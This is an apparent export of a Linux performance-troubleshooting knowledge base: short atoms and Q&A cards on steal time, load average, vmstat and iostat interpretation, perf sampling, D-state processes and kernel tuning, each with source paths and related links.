CPU steal time (<html><code>st</code></html> in top or <html><code>vmstat</code></html>) represents cycles the hypervisor is taking away from your VM to allocate to other tenants. High steal time means your CPU is literally being stolen, not that your code is slow. Application profilers will show your code as having high latency, but the problem is not in the code — it's in the CPU availability. An application running under 20% steal time might be getting only 80% of the promised compute. Profiling will blame your code but the CPU is genuinely unavailable. Any steal time > 5% indicates you are on a noisy neighbor VM. The fix is not to optimize — it's to move to a dedicated instance type or file a support ticket. This problem is common in cloud environments where burstable or shared instance types are used in production.
----
''Sources''
* <html><code>training/library/topics/linux-performance/footguns.md</code></html>
''Related atoms''
* [[What is CPU steal time?]]
* [[Infrastructure problems dwarf code optimization]]
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
The <html><code>st</code></html> (steal) field in top or vmstat shows percentage of CPU time the hypervisor reclaimed from this VM to serve other VMs. Steal time 0-2% is normal cloud noise. 2-5% warrants monitoring but is usually acceptable. 5-10% represents performance impact and requires investigation. >10% is serious and indicates the VM host is overcommitted. High steal time cannot be fixed from inside the VM — it is purely a host-level problem. Solutions require migrating the VM to a less-loaded host, resizing the VM to run on dedicated resources, or contacting the cloud provider. Dismissing steal time as unimportant is a common mistake that leaves performance degradation undiagnosed.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
Cargo-culting sysctl values from blog posts produces unreliable results. The correct methodology is: establish a baseline of current performance with realistic workload, identify the specific bottleneck using systematic analysis (USE method), research the kernel knob in official documentation rather than blogs, change one variable at a time, measure again with identical methodology, then persist only if improvement is confirmed. Each step is essential — skipping diagnosis leads to tuning the wrong lever, and skipping validation means you may have made things worse without knowing it. Apply settings to <html><code>/etc/sysctl.d/</code></html> for persistence across reboots.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[How to change the kernel parameters? What kernel options might you need to tune?]]
SAR (System Activity Reporter) records performance snapshots at regular intervals, stored in <html><code>/var/log/sa/</code></html>, accessible weeks or months later. Unlike live tools (top, vmstat, iostat) that show only the current moment, SAR answers questions like "was the system slow yesterday at 2 PM?" with actual historical data. Enable collection with <html><code>systemctl enable --now sysstat</code></html>. Query CPU, memory, disk I/O, or network history; restrict to specific time windows with <html><code>-s</code></html> and <html><code>-e</code></html> flags. When a performance incident is reported hours or days after it occurred, SAR data is often the only evidence remaining. Install sysstat and forget about it until you need to rewind time and understand what actually happened.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[What does `sar` do?]]
* [[Transient performance spikes are invisible without historical metrics]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
Having every performance tool installed does not help if you use them randomly. The USE method (Utilization, Saturation, Errors) is the systematic framework — for each resource (CPU, memory, disk, network), measure utilization, then saturation, then errors. This prevents the trap of cargo-culting sysctl knobs or chasing red herrings. The tools are evidence collectors; the methodology is the detective work. Jumping straight from "system feels slow" to tweaking kernel parameters without systematic analysis is how you make things worse, often subtly. Learn the methodology first, then learn which tools answer which questions. A comprehensive understanding of one tool and the method is more valuable than shallow knowledge of many tools.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[What is the USE Method for performance analysis?]]
* [[The 60-second performance triage checklist covers all four resources]]
* [[Performance triage: uptime → vmstat → tool selection]]
Every performance problem is ultimately a bottleneck in one of four resources: CPU (processes waiting for compute time), Memory (system swapping or OOM killing), Disk I/O (processes blocked on read/write), or Network (bandwidth saturated or connections dropped). Identifying which resource is saturated narrows the problem from "the system is slow" to a specific category. Key indicators: CPU saturation shows in load average and <html><code>%us+%sy</code></html> in top; memory saturation in <html><code>si/so</code></html> in vmstat and <html><code>MemAvailable</code></html> in /proc/meminfo; disk I/O saturation in <html><code>await</code></html> in iostat and <html><code>%iowait</code></html> in top; network saturation in <html><code>ss</code></html> queue depths and throughput in sar. Most performance problems have one primary bottleneck; focus diagnostic effort there first. Addressing a secondary bottleneck provides no benefit if the primary one remains.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[The 60-second performance triage checklist covers all four resources]]
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
* [[How do you identify and resolve performance bottlenecks in a data center?]]
Load average (1/5/15 minute) shows process queue depth but does not distinguish between CPU-bound and I/O-bound processes. A load of 8 on a 4-core system indicates oversubscription, but not the cause. Decompose it using vmstat: check <html><code>r</code></html> (runnable/CPU-bound processes) and <html><code>b</code></html> (blocked/I/O-bound processes). High <html><code>r</code></html> means CPU saturation; high <html><code>b</code></html> means I/O saturation. A system with load average of 10 but mostly I/O-bound processes might have spare CPU capacity, while a load of 5 with mostly CPU-bound processes is critically overloaded. A system idle except for one slow disk write shows high load but misleadingly low I/O saturation. Never rely on load average alone; always decompose into CPU and I/O components to understand what is actually waiting.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[How do you interpret load average?]]
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
* [[How to check what is the current load average?]]
The three load average numbers (1-min, 5-min, 15-min) represent exponentially damped moving averages of processes in runnable (R) or uninterruptible sleep (D) state. Interpretation requires comparing to CPU core count: on a 4-core system, load 4.0 means all cores busy; load 8.0 means processes are queuing. Trend matters: rising numbers (4.15 → 7.31 → 8.52) indicate worsening conditions; falling numbers indicate recovery. Stable load reflects baseline activity. High load with low CPU utilization signals I/O-bound processes stuck in D state (waiting for disk/NFS), which inflates load average without consuming CPU cycles. Check the <html><code>b</code></html> (blocked) column in vmstat to confirm.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[A system has run queue length = 1, load avg = 40, CPU idle = 80%. Explain precisely wha…]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
Load average on Linux counts both runnable processes and those in uninterruptible sleep (D-state), which differ from traditional Unix behavior that counts only runnable tasks. This means a system with zero CPU load but heavy NFS or disk I/O can report a high load average, creating the illusion of system pressure when the bottleneck is I/O, not computation. The three load average numbers (1, 5, 15 minute) are exponentially damped moving averages rather than simple arithmetic means, giving more weight to recent samples. Understanding this distinction prevents misinterpreting high load on I/O-bound workloads as evidence of CPU saturation.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[High load average but low CPU usage - why?]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
* [[You know how to see the load average, great. but what each part of it means? for exampl…]]
A single metric is often misleading without cross-reference. High CPU + high disk await = the CPU looks busy but is actually stalled waiting for I/O; the real bottleneck is disk, not CPU. High memory usage + low available memory = constrained; high memory usage with high available memory = the system is using cache, not constrained. High iowait with low actual I/O latency = the CPU had no other work to do; not a sign of I/O problems. High context switches + moderate CPU usage = thread contention, not saturation. Always pair multiple metrics before concluding what the bottleneck is. This prevents the trap of tuning the wrong knob — e.g., raising CPU frequency when disk latency is the actual limit, or increasing memory when cache is already abundant.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[%iowait is misleading without corroborating I/O latency data]]
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
* [[The Four Resources framework organizes performance bottlenecks]]
When a system degrades unexpectedly, ask "what changed?" before deep-diving into metrics. A performance incident is usually the symptom, not the root cause; the cause is typically a recent change — a new deployment, a configuration change, a cron job added, a new workload, or a dependency failure. Check deployment logs, git history, and cron job additions first. If the metrics show nothing unusual on the slow box itself, the problem is upstream — check dependency services, DNS resolution, network path, and the calling application. The box may be fine; its callers may be overloaded or slow. Spending hours tuning kernel parameters might be wasted effort if the root cause is a database connection pool that changed size or a network change.
----
''Sources''
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
''Related atoms''
* [[Infrastructure problems dwarf code optimization]]
* [[A Linux server is slow. Where do you start?]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
When paged for a performance problem, run these eight commands in order (takes ~2 minutes): <html><code>uptime</code></html> (load trend), <html><code>dmesg -T | tail</code></html> (kernel errors/OOM), <html><code>vmstat 1 5</code></html> (CPU/memory/swap/IO overview), <html><code>mpstat -P ALL 1 3</code></html> (per-CPU imbalance), <html><code>pidstat 1 3</code></html> (per-process CPU breakdown), <html><code>iostat -xz 1 3</code></html> (disk utilization and latency), <html><code>free -h</code></html> (memory state), <html><code>sar -n DEV 1 3</code></html> (network throughput). These eight commands systematically cover CPU, memory, disk, and network — the four resources where bottlenecks hide. The order matters: start with global load, then kernel issues, then system-wide metrics, then per-process detail. This approach prevents tunnel vision and ensures you see the actual bottleneck before investing time in deep profiling tools.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Performance triage: uptime → vmstat → tool selection]]
* [[The Four Resources framework organizes performance bottlenecks]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
<html><code>r</code></html> (runnable processes) indicates CPU saturation — if <html><code>r</code></html> is consistently greater than the number of CPU cores, processes are waiting for CPU time. <html><code>b</code></html> (blocked processes) indicates I/O wait — if <html><code>b</code></html> > 0, processes are stuck on disk or network I/O. <html><code>si</code></html>/<html><code>so</code></html> (swap in/out) should be zero; if non-zero, the system is swapping due to memory pressure, a critical red flag. <html><code>wa</code></html> (%iowait) is misleading — it only increments when a CPU is idle //and// waiting for I/O; if the CPU has other work, iowait stays 0 even during I/O operations. <html><code>cs</code></html> (context switches per second) shows thread scheduling overhead; values above 100K/s suggest too many threads contending for CPUs and excessive context switching overhead. Misinterpreting these columns is a common source of incorrect diagnosis — e.g., assuming zero iowait means I/O is fast, when it may simply mean the CPU had other work to do.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
* [[%iowait is misleading without corroborating I/O latency data]]
* [[Performance triage: uptime → vmstat → tool selection]]
%iowait only increments when a CPU is idle and waiting for I/O. If the CPU has other work to do while I/O operations are pending, iowait stays at zero. This means: iowait = 0 does NOT prove I/O is fast, and iowait > 0 only indicates I/O is happening while the CPU had nothing else to do. A system can have significant I/O latency (slow disk) but show zero iowait because CPUs are busy with other work. Conversely, high iowait might reflect slow I/O or simply a lightly-loaded system where I/O operations block all CPUs. Always pair iowait with actual I/O latency data from <html><code>iostat -xz</code></html> (look at <html><code>await</code></html> column) or storage monitoring. High await + high iowait = disk I/O is the bottleneck. High await + zero iowait = I/O is slow but CPUs are occupied elsewhere. Never tune based on iowait alone.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[What is iowait in CPU statistics?]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
The /proc filesystem is a virtual interface to kernel data structures. Key entries include cpuinfo (CPU specifications), meminfo (memory statistics), and per-process subdirectories under /proc/[pid]/ containing fd/ (file descriptors), maps (memory layout), and io (I/O statistics). System-wide metrics like file handle limits and kernel boot parameters are accessible via /proc/sys and /proc/cmdline respectively. This enables rapid system diagnosis without instrumenting code or installing specialized tools.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[/proc exposes process details to unprivileged visibility by default]]
* [[Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?]]
* [[What is `/proc/PID/fd/`?]]
The <html><code>perf record</code></html> sampling frequency controls how often the kernel collects CPU stack traces. The default 4000Hz is too aggressive for production use. A frequency of 99Hz (-F 99) provides sufficient data for profiling while keeping overhead negligible. Frequencies above 1000Hz risk perf itself becoming the bottleneck, degrading the workload being profiled. Always validate that profiler overhead is acceptable before deploying in production, as high-frequency sampling can paradoxically make the system appear faster by consuming resources that were previously available to applications.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[What is perf?]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[What is the `perf top` command?]]
<html><code>perf record</code></html> captures stack samples at approximately 4,000 samples per second by default. Higher sampling rates give more accuracy but add overhead. In production, 99 Hz (samples per second) is a common choice. The 99 Hz frequency is chosen to avoid aliasing artifacts: round numbers like 100 Hz can synchronize with periodic code patterns (loops, timer-driven work), causing misleading spikes in the profile. 99 Hz is frequent enough to catch performance bottlenecks over a long profile window (hours) but infrequent enough to be nearly invisible in overhead. Profiling at 4,000 Hz is suitable for short, controlled experiments in test environments. For long-running production profiling, lower frequencies (50–100 Hz) are standard.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[What is perf?]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
Identifying which process consumes the most memory requires careful metric choice. RSS (resident set size) from <html><code>ps aux --sort=-%mem</code></html> shows physical memory but overcounts shared libraries. PSS (proportional set size) from <html><code>smem -rs pss</code></html> correctly attributes shared memory proportionally to each process. If neither tool is available, parse /proc/[pid]/smaps_rollup to calculate PSS. Monitor dmesg and journalctl for OOM killer invocations to confirm memory pressure is occurring. These approaches reveal which process or processes are the dominant consumers, guiding intervention.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[/proc/PID/smaps shows which memory regions are consuming the most bytes]]
* [[How can you find how much memory a specific process consumes?]]
Rapid network diagnosis requires checking multiple indicators. Dropped packets and transmission errors appear in <html><code>ip -s link show</code></html> output and indicate physical layer problems or buffer exhaustion. TCP retransmits in <html><code>nstat -az</code></html> suggest packet loss or latency. Excessive TIME_WAIT connections accumulate when many connections close and can exhaust ephemeral ports. Socket buffer overflows in <html><code>/proc/net/softnet_stat</code></html> indicate the kernel is discarding packets due to insufficient queue space. A baseline measurement via <html><code>mtr</code></html> establishes latency to downstream hosts. These metrics together narrow down whether the problem is link quality, saturation, or application behavior.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
Performance tuning without measurement is guesswork. The correct discipline is to establish a baseline by running your workload and recording key metrics — latency percentiles, throughput, error rate — before making any changes. Adjust one parameter. Run the same workload again and compare the results. Only then can you determine whether the change helped, hurt, or made no difference. Changing multiple parameters simultaneously makes it impossible to isolate which change had an effect or attribute performance gains to the right cause.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Sysctl tuning requires baseline measurement and validation]]
* [[What is `tuned`?]]
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
Disk I/O problems require multi-layer investigation. Use <html><code>iotop -oP</code></html> to identify which process is performing I/O. Use <html><code>lsof</code></html> to see which files a process accesses. Use BCC tools like <html><code>biolatency-bpfcc</code></html> to measure block-layer latency distribution. Check the active I/O scheduler with <html><code>/sys/block/*/queue/scheduler</code></html>. For RAID systems, inspect <html><code>/proc/mdstat</code></html> for degraded arrays and use vendor tools like <html><code>megacli</code></html> for hardware RAID status. On ext4, use <html><code>e4defrag -c</code></html> to measure fragmentation. These checks together reveal whether the bottleneck is a slow device, excessive requests, poor scheduling, or filesystem layout.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[How do you troubleshoot a Linux system that's acting slow?]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
Production servers handling many concurrent connections benefit from kernel parameter tuning. Increase <html><code>net.core.somaxconn</code></html> and <html><code>net.ipv4.tcp_max_syn_backlog</code></html> to 65535 to allow a deeper listen backlog. Enable <html><code>net.ipv4.tcp_tw_reuse = 1</code></html> to recycle TIME_WAIT sockets faster, freeing ephemeral ports. Increase <html><code>net.core.rmem_max</code></html> and <html><code>wmem_max</code></html> to 16MB for high-bandwidth links. Switch to BBR congestion control and use the <html><code>fq</code></html> qdisc for better fairness. Raise <html><code>fs.file-max</code></html> to accommodate more open file handles. Expand the ephemeral port range via <html><code>net.ipv4.ip_local_port_range</code></html>. For latency-sensitive workloads, reduce <html><code>vm.swappiness</code></html> to 10 to avoid paging. Apply changes with <html><code>sysctl --system</code></html> and verify afterward.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[/proc/sys allows live tuning; persist changes to /etc/sysctl.d/]]
* [[A Linux server is slow. Where do you start?]]
Random profiling wastes time. Instead, follow a decision tree: start with <html><code>uptime</code></html> to understand load magnitude relative to core count. Run <html><code>vmstat 1 5</code></html> to observe run queue depth (r), blocked processes (b), swap activity (si/so), and CPU breakdown (us/sy/id/wa). High run queue suggests CPU bottleneck. High blocked process count or swap activity suggests I/O or memory bottleneck. High iowait (wa) suggests disk I/O. From there, select the next tool: CPU problems → <html><code>top</code></html>/<html><code>htop</code></html> → <html><code>perf</code></html> if needed. Memory problems → <html><code>free -h</code></html>, <html><code>/proc/meminfo</code></html>, OOM checks. I/O problems → <html><code>iostat -xz</code></html>, <html><code>iotop</code></html>. Network problems → <html><code>ss -s</code></html>, <html><code>sar -n DEV</code></html>. This structured approach saves hours compared to random tool swapping.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[The 60-second performance triage checklist covers all four resources]]
* [[You see high "iowait" in top. What are your next three steps to identify the culprit?]]
* [[You get a call from someone claiming "my system is SLOW". What do you do?]]
The <html><code>%Cpu(s)</code></html> line in top output requires interpreting each field. User (us) is application code — high us means the app is CPU-bound; profile with perf or flamegraph. System (sy) is kernel/syscall overhead — high sy (>20%) indicates excessive syscalls, context switching, or kernel lock contention; use strace -c or perf top to investigate. I/O wait (wa) is CPU idle waiting for storage — high wa is a key signal for disk bottlenecks but does not appear in container-aware metrics like kubectl top. Hardware interrupts (hi) and software interrupts (si) indicate NIC saturation or heavy packet processing. Steal (st) is time the hypervisor took from the VM — high st on cloud VMs indicates host overcommitment and cannot be fixed from inside the VM. Idle (id) is spare capacity. These fields together reveal where the bottleneck actually is.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[How does high `wa` (I/O wait) on a container host relate to container I/O throttling?]]
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[What is the difference between CPU load and utilization?]]
The memory line in top displays: total, used, free, shared, buff/cache, and available. The 'free' value is misleading — low free is normal and healthy because Linux uses spare memory for page cache to speed up I/O. The 'buff/cache' column is reclaimable memory. Both buffers (block device metadata) and cache (page cache) are reclaimed automatically under memory pressure. The 'available' column is the meaningful metric — it answers 'how much memory can applications use?' and includes reclaimable cache. Swap used being non-zero is not automatically problematic; the question is whether the system is actively swapping. Check vmstat si/so columns: if both are zero, swap is dormant; if they are positive, active paging is degrading performance.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[vm.swappiness tuning for latency-sensitive servers]]
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
Low 'free' memory is normal and not indicative of problems. The 'available' metric in free -h includes reclaimable cache and buffers — this is the real answer to 'how much memory can applications use?' Swap being used is not automatically a problem; old unused pages get swapped to make room for the page cache. The definitive check is whether the system is actively swapping //right now//. Run <html><code>vmstat 1 5</code></html> and observe the si (swap in) and so (swap out) columns. If both are zero, the swap usage is stable and dormant; processes are not actively paging. If si/so are positive and growing, active memory pressure is occurring and causing performance degradation.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[Memory pressure masquerades as high CPU]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
The <html><code>S</code></html> (state) column in top's process list shows R (running), S (sleeping), or D (uninterruptible sleep). R and S are normal. D is a red flag indicating the process is waiting for I/O to complete and cannot be interrupted, even by SIGKILL. Multiple processes in D state mean an I/O problem is happening. Common causes include disk hardware failure, high I/O latency, unresponsive NFS/SAN, or filesystem corruption forcing synchronous I/O. Investigate D-state processes by checking <html><code>/proc/<pid>/wchan</code></html> (kernel function it's blocked in) or <html><code>/proc/<pid>/stack</code></html> (full kernel stack trace). The presence of D-state processes indicates the I/O subsystem, not the application, is the problem.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Use /proc/PID/stack and wchan to see what syscall a process is blocked on]]
* [[Linux process state codes and their operational meaning]]
* [[How do you diagnose a stuck process?]]
Processes in uninterruptible sleep (D-state, shown as "D" in ps or top output) are blocked waiting for I/O and cannot be terminated by any signal, including SIGKILL. This design prevents data corruption — allowing a signal to interrupt a disk write in progress could leave the filesystem in an inconsistent state. A process stuck in D-state usually indicates either a hardware problem (failed disk), a network hang (unresponsive NFS server), or a kernel bug. The only reliable fix is often a system reboot, as the kernel cannot forcibly clean up a process waiting for I/O that will never complete.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[Linux process state codes and their operational meaning]]
* [[How do you kill a process in D state?]]
Q: What is a D-state (uninterruptible sleep) process, and why can't you kill it?
A: A D-state process is waiting for a kernel-level I/O operation and cannot be interrupted by any signal, including SIGKILL. Common causes: unreachable NFS server, failing disk, hung FUSE filesystem, dead iSCSI target. Find them with: ps aux | awk '$8 ~ /D/'. You fix the underlying I/O problem, or reboot.
Remember: SIGTERM(15)=polite, SIGKILL(9)=forced, SIGHUP(1)=reload, SIGINT(2)=Ctrl+C.
Gotcha: SIGKILL can't be caught. Always try SIGTERM first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is a quick way to check if a process is in uninterruptible sleep (D state) and why…]]
* [[What if `kill -9` does not work? Describe exceptions for which the use of SIGKILL is in…]]
* [[How do you kill a process in D state?]]
Q: What does high <html><code>si</code></html> (software interrupts) in <html><code>top</code></html> indicate on a Kubernetes node, and why is it invisible to kubectl top?
A: High <html><code>si</code></html> means the kernel is spending significant time processing softirqs — typically network packet processing (NET_RX). On a container host, all pods share the host kernel's softirq handling. A pod receiving a flood of traffic drives up <html><code>si</code></html> on the host, degrading all pods. <html><code>kubectl top</code></html> only reports per-pod CPU usage and cannot see shared kernel overhead. Diagnose with <html><code>cat /proc/softirqs</code></html> and look for NET_RX growth.
Remember: top: PID, PR, NI, VIRT, RES, %CPU, %MEM. htop = prettier with mouse.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[A Kubernetes node on AWS shows 8% `st` (steal time) in `top` but all pods report normal…]]
* [[How does high `wa` (I/O wait) on a container host relate to container I/O throttling?]]
Q: How does high <html><code>wa</code></html> (I/O wait) on a container host relate to container I/O throttling?
A: <html><code>wa</code></html> on the host means CPUs are idle waiting for I/O to complete. For containers, this often maps to pods hitting their blkio cgroup limits or contending for shared node storage. A container writing heavily to an emptyDir on the node's disk drives up host <html><code>wa</code></html> and affects every container on that node. Check container I/O limits and consider using dedicated volumes or adjusting blkio cgroup settings.
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[CPU% breakdown: us/sy/ni/id/wa/hi/si/st signal different bottlenecks]]
iostat -xz output requires interpreting several fields. Await is average I/O latency in milliseconds — <1ms is excellent (NVMe), 1-10ms is fine (SSD), 10-20ms is acceptable (HDD), >50ms indicates a problem. r_await and w_await separate read and write latency. %util shows device utilization; on HDD, 100% means saturated, but on SSD/NVMe, 100% != saturated because of parallelism — use await as the real saturation indicator for solid-state devices. IOPS (r/s + w/s) should be compared to device capability (HDD ~150, SSD ~10K-100K, NVMe ~100K-1M). The -z flag suppresses zero-activity devices, reducing noise on multi-disk systems. Ignore the first report (average since boot); focus on steady-state reports.
----
''Sources''
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
''Related atoms''
* [[%iowait is misleading without corroborating I/O latency data]]
* [[Diagnose disk I/O bottlenecks via process activity, latency, and RAID status]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
The Linux CPU scheduler has undergone four major rewrites. The original O(n) scheduler (1991) iterated over all processes and became a bottleneck. Ingo Molnar replaced it with an O(1) scheduler (2002, Linux 2.6) that scaled to many processes. The Completely Fair Scheduler (CFS) succeeded it (2007, Linux 2.6.23), using a red-black tree to ensure fair CPU allocation. EEVDF (Earliest Eligible Virtual Deadline First) replaced CFS in Linux 6.6 (2023) to address tail latencies and better handle mixed workloads. Each rewrite was driven by failure modes on new hardware (more cores) or workloads (virtualization, real-time, interactivity). The scheduler is the single most consequential piece of the kernel; changes ripple through performance everywhere.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[What replaced CFS in Linux 6.6?]]
* [[What is an I/O scheduler?]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
A context switch — saving one process's CPU registers to memory and loading another's — costs 1–5 microseconds on modern hardware. But the indirect cost is much larger. Switching processes invalidates CPU caches (the next process runs on cold cache, causing cache misses), requires TLB flush on many architectures (translating virtual addresses is slow until the TLB repopulates), and can cause pipeline stalls as the CPU's instruction prefetcher adjusts to a new code stream. Combined, indirect overhead ranges from 10–100 microseconds per switch. A server performing 100,000 context switches per second spends significant CPU time just switching, not doing useful work. This is why reducing context switches (via CPU affinity, pinning threads to cores, or reducing parallelism on uncontended workloads) can yield surprising performance gains despite the small per-switch cost.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[What is a context switch?]]
* [[What is context switch?]]
Standard Linux pages are 4 KB; TLB (translation lookaside buffer) entries map virtual addresses to physical ones. A 64 GB database running on 4 KB pages needs 16,777,216 TLB entries. Modern TLBs hold only 1,000–2,000 entries, so the vast majority of page lookups miss and require an expensive page table walk. With 2 MB huge pages, the same database needs only 32,768 TLB entries — a 500x reduction. Transparent Huge Pages (THP) attempts to do this automatically, collapsing small pages into huge pages at runtime. But THP causes latency spikes: when a large page is allocated or compacted, processes stall for milliseconds. Database vendors universally recommend disabling THP and using explicit huge page allocation (<html><code>hugetlbfs</code></html>) instead, gaining the TLB benefit without latency variance.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[Transparent Huge Pages cause latency in memory-sensitive databases]]
* [[What is the TLB?]]
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
CPU frequency governors (ondemand, performance, powersave, schedutil) were designed for laptop battery life. The default "ondemand" governor idles the CPU at low frequency and ramps up when load increases. On servers, the ramp-up introduces milliseconds of latency as the CPU accelerates from idle to peak frequency. High-frequency trading firms, latency-sensitive applications (99th-percentile tail latency matters), and services under consistent load set the "performance" governor to lock CPUs at maximum frequency year-round, sacrificing power efficiency for predictable low latency. The choice is a trade-off: variable latency vs. constant high latency, and constant power consumption. Idle servers waste power with frequency locked high, but consistent performance matters more than power in many production environments.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
Before eBPF, measuring the time from a process issuing a syscall to the kernel completing it required either modifying kernel code or using strace (which is unreliable for timing due to high overhead). eBPF tools like <html><code>biolatency</code></html>, <html><code>runqlat</code></html>, and <html><code>tcplife</code></html> hook directly into kernel functions and measure latencies with nanosecond precision and minimal overhead. These tools revealed that many systems have bimodal I/O latency distributions: most I/Os complete in microseconds, but a small percentage (often 0.1–1%) take milliseconds due to head seeks, garbage collection pauses, or load spikes. This bimodality was invisible to averages and percentiles at lower precision. The insight changed how storage systems are tuned: not all latency is equal, and understanding the distribution is more useful than optimizing the median.
----
''Sources''
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
''Related atoms''
* [[Correlating metrics prevents misdiagnosis of performance bottlenecks]]
* [[I/O schedulers evolved from disk optimization to irrelevance for SSDs]]
Q: Explain the difference between ulimit -n and fs.file-max — how do they interact?
A: These are two different layers of file descriptor limits.
ulimit -n (per-process limit):
* Soft and hard limits per process
* Configured in /etc/security/limits.conf
* Syntax: <html><code><user> <soft/hard> nofile <value></code></html>
* Example: <html><code>* hard nofile 65535</code></html>
* Check current: <html><code>ulimit -n</code></html> (soft), <html><code>ulimit -Hn</code></html> (hard)
Remember: Toolkit: top/htop(overview), vmstat(memory), iostat(disk), sar(historical).
Remember: USE method: Utilization, Saturation, Errors for each resource.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[What does `fs.file-max` control?]]
* [[What is the maximum number of file descriptors per process?]]
* [[What is the use of ulimit in Unix-like systems?]]
Q: High load average but low CPU usage - why?
A: Load average includes both runnable AND uninterruptible (D state) processes. Low CPU with high load means processes are blocked waiting on something:
Common causes:
* ''I/O wait'': Disk saturation, slow storage
* ''NFS latency'': Hung NFS mounts
* ''Blocked threads'': Mutex contention, lock waits
* ''Storage issues'': SAN latency, RAID rebuild
